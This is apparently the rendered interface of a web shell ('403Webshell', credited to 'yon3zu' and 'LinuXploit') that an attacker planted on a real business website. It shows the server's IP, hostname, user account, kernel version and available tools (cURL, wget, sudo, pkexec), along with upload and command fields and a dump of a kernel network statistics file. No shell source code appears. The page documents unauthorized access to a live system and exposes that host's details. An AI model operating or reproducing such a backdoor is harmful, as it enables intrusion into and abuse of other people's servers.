403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1023/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1023/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
0000007c  00000000 0ed63704 000002a9 0ec337df 0012ff20 00000000 0000005c  00000000 0006306a 00000009 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 0dfa51cd 00000241 0de52c9f 0015252b 00000000 00000000  00000000 00057762 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 01414da5 000001f6 0134da74 000c732c 00000000 00000000  00000000 00057dde 0000000f 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 05e00317 00000268 05d3e48a 000c1e8a 00000000 00000000  00000000 0005b095 00000004 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 17400077 000002b2 172d1a28 0012e649 00000000 00000000  00000000 00061832 0000001b 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 0dea2e1f 0000022d 0dd2c779 0017669e 00000000 00000013  00000000 0005ca5f 0000001d 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 08d36ffa 0000027f 08c5a52d 000dcac9 00000000 00000000  00000000 0005db0b 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
0000007c  00000000 05ce1d78 00000276 05c064eb 000db88a 00000000 00000000  00000000 0005f85f 00000012 00000000 00000000 00000000 00000000 00000000 00000000 

Youez - 2016 - github.com/yon3zu
LinuXploit